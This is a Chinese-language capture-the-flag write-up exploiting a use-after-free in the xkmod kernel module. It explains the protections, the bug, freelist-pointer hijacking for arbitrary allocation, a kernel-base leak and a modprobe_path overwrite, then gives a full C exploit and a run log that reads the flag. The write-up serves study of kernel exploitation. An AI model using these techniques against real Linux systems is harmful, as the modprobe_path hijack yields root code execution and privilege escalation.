内核堆题基本思路:通过修改free_list的next指针来完成内核空间任意地址分配

保护机制

查看开启的保护机制,通过qemu启动脚本可知开启kaslr,smep,smap,查看/sys/devices/system/cpu/vulnerabilities/*内容可知开启PTI保护,或者通过/proc/cpuinfo查看:

1
2
3
4
5
6
/home $ grep flags /proc/cpuinfo -m 1 | grep pti
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop
/home $ grep flags /proc/cpuinfo -m 1 | grep smep
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop
/home $ grep flags /proc/cpuinfo -m 1 | grep smap
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop
1
2
3
4
5
6
7
8
9
/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

漏洞分析

使用ida查看xkmod.ko反汇编逻辑:
xkmod_init逻辑如下:

xkmod_init函数初始化xkmod驱动,并使用kmem_cache_create创建了大小为0xc0的kmem_cache堆。
xkmod_ioctl逻辑如下:

arg参数为包裹一个结构体,定义如下:

1
2
3
4
5
6
struct user_payload
{
unsigned long addr;
int offset;
int size;
}

函数逻辑如下:
当cmd为0x1111111时,从init创建的slab缓存中分配kmem_cache到buf;
当cmd为0x6666666时,将用户指定user_payload.addr的size写入到buf的指定偏移处;
当cmd为0x7777777时,读取buf的指定偏移到用户地址。
xkmod_release函数,将buf释放,但是没有对buf置零,因此存在UAF漏洞。

还有一个copy_overflow函数,但是没有调用逻辑:

漏洞利用

任意地址读写

先构造一个交互脚本如下:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/**
* Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg) "\033[32m\033[1m[SUCCESS]" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m[INFO]" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m[ERROR]" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))


// define the payload data pack struct
struct Data {
long *ptr;
int offset;
int size;
};

int main() {
char *test_data = "This is test data";

// initialize payload data
struct Data data;
data.ptr = test_data;
data.offset = 0;
data.size = 0x10;

// open device
int fd1 = 0, fd2 = 0;
fd1 = open("/dev/xkmod", 0);
if (fd1 < 0) {
log_error("open device1 failed.");
return -1;
}
log_info("open device1 success");

fd2 = open("/dev/xkmod", 0);
if (fd2 < 0) {
log_error("open device2 failed.");
close(fd1);
return -1;
}
log_info("open device2 success");

// ioctl to interact with xkmod
ioctl(fd1, 0x1111111, &data);
ioctl(fd2, 0x1111111, &data);

// write test_data to kernel memory lalala
ioctl(fd1, 0x6666666, &data);
log_info("write test_data to kmem_cache1 success");

// finish
close(fd1);
close(fd2);

return 0;
}

运行几次查看是否开启RANDOM_LIST和HARDEN_LIST保护

1
2
3
4
5
6
7
8
9
10
# 第一次运行exp第一次执行kmem_cache_alloc
RAX 0xffff8880071b50c0 —▸ 0xffff8880071b53c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 ◂— ...
# 第一次运行exp第二次执行kmem_cache_alloc
RAX 0xffff8880071b53c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 —▸ 0xffff8880071b5d80 ◂— ...
# 第一次运行exp执行copy_from_user
RSI 0xffff8880071b53c0 ◂— 'This is test dat'
# 第二次运行exp执行kmem_cache_free
RSI 0xffff8880071b53c0 —▸ 0xffff8880071b56c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 ◂— ...
# 第三次运行exp执行kmem_cache_free
RSI 0xffff8880071a3480 —▸ 0xffff8880071a3240 —▸ 0xffff8880071a3180 —▸ 0xffff8880071a3e40 —▸ 0xffff8880071a3cc0 ◂— ...

因此说明kmem_cache的offset为0,未开启HARDEN_LIST保护,开启了RANDOM_LIST保护
RANDOM_LIST并非运行时保护,其在进入free-list后的顺序是固定的,也就是说free后再次申请的获得的顺序是固定的,那么就可以修改一个uaf的next指针为要申请的地址,再分配一次即可实现任意地址申请,进而实现任意地址读写。
这个会引入一个问题,即修改后uaf的next指针为申请的目标地址,当分配uaf的块后,会将目标地址的next指针的8字节数据写入到free-list,此时如果目标地址前8字节指向内容不合法即会导致内核panic,需要前8字节为0,这样kmem_cache会向buddy system请求一个新的slub,这样就不会crash。

泄露内核基址

在Direct Memory Mapping区域+0x9d000地址存放着内核函数secondary_startup_64的地址,由此可以尝试泄露该函数地址,从而获取内核基址。

1
2
3
4
5
6
pwndbg> telescope 0xffff888000000000+0x9d000
00:0000│ 0xffff88800009d000 —▸ 0xffffffff81000030 (secondary_startup_64) ◂— call 0xffffffff810000e0
01:0008│ 0xffff88800009d008 ◂— 0x901
02:0010│ 0xffff88800009d010 ◂— 0x6b0
03:0018│ 0xffff88800009d018 ◂— 0
... ↓ 4 skipped

修改modprobe_path

通过uaf修改modprobe_path地址的内容,然后构造fakefile即可实现任意命令执行:
exp如下:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sched.h>

/**
* Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg) "\033[32m\033[1m[+]" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m[*]" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m[x]" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

// This is only an example for nokaslr
#define HEAP_BASE_ADDR 0xffff888000000000
#define KERNEL_BASE_ADDR 0xffffffff81000000
#define MODPROBE_PATH_ADDR 0xFFFFFFFF82444700
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";

// define the payload data pack struct
struct Data {
long *ptr;
int offset;
int size;
};

// bind the process to specific core
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
log_info("Process binded to core 0");
}

int main() {
// fundamental works
bindCore(0);

char *test_data = "This is test data";
// initialize payload data
struct Data data;
data.ptr = malloc(8);
data.offset = 0;
data.size = 0x08;
// open device
int fd1 = 0, fd2 = 0;
fd1 = open("/dev/xkmod", 0);
if (fd1 < 0) {
log_error("open device1 failed.");
return -1;
}
log_info("open device1 success");

fd2 = open("/dev/xkmod", 0);
if (fd2 < 0) {
log_error("open device2 failed.");
close(fd1);
return -1;
}
log_info("open device2 success");

// ioctl to interact with xkmod
ioctl(fd1, 0x1111111, &data);
ioctl(fd2, 0x1111111, &data);

// construct uaf to alloc kmem_cache in HEAP_BASE_ADDR + 0x9d000
close(fd1);

// read fd1 to leak heap_base_addr
data.ptr = malloc(8);
ioctl(fd2, 0x7777777, &data);
size_t heap_base_addr = *data.ptr & 0xfffffffff0000000;
printf("[*] Guess Kernel Heap Base Address: 0x%lx\n", heap_base_addr);

// uaf
size_t *fake_chunk = heap_base_addr + 0x9d000 - 0x10;

data.ptr = &fake_chunk;
ioctl(fd2, 0x6666666, &data);

// alloc twice to get HEAP_BASE_ADDR + 0x9d000
ioctl(fd2, 0x1111111, &data);
ioctl(fd2, 0x1111111, &data);

// read address contained by target chunk
data.ptr = malloc(8);
data.offset = 0x10;
data.size = 0x08;
ioctl(fd2, 0x7777777, &data);
size_t kernel_base_addr = *data.ptr - 0x000030;
printf("[*] Kernel Base Address: 0x%lx\n", *data.ptr - 0x000030);

// modify modprobe_path to get root shell
size_t modprobe_path = MODPROBE_PATH_ADDR - KERNEL_BASE_ADDR + kernel_base_addr;
printf("[*] modprobe_path is 0x%lx\n", modprobe_path);
fd1 = open("/dev/xkmod", 0);
fd2 = open("/dev/xkmod", 0);

size_t *fake_chunk1 = modprobe_path - 0x10;
struct Data data1;
data1.ptr = &fake_chunk1;
data1.offset = 0;
data1.size = 0x8;

// alloc two new kmem_cache
ioctl(fd1, 0x1111111, &data1);
ioctl(fd2, 0x1111111, &data1);

// uaf
close(fd1);
ioctl(fd2, 0x6666666, &data1);

// alloc twice to get modprobe_path
ioctl(fd2, 0x1111111, &data1);
ioctl(fd2, 0x1111111, &data1);

// override modprobe_path to /home/getshell
data1.ptr = &ROOT_SCRIPT_PATH;
data1.offset = 0x10;
data1.size = strlen(ROOT_SCRIPT_PATH);
ioctl(fd2, 0x6666666, &data1);

// create fake file
int root_script_fd, flag_fd;
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);

system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
char flag[0x100];
memset(flag, 0, sizeof(flag));

flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
return -1;
}
read(flag_fd, flag, sizeof(flag));
printf("[+] flag: %s\n", flag);

return 0;
}

可以获取flag如下:

1
2
3
4
5
6
7
8
9
/home $ /exp
[*]Process binded to core 0
[*]open device1 success
[*]open device2 success
[*] Guess Kernel Heap Base Address: 0xffff8bde80000000
[*] Kernel Base Address: 0xffffffff92e00000
[*] modprobe_path is 0xffffffff94244700
/home/fake: line 1: : not found
[+] flag: rwctf{just_for_test}

?是否能直接通过读取rootfs的方式来获取flag,因为是磁盘,大概率是可以的,但是远程感觉不一定现实,后面有时间可以试试…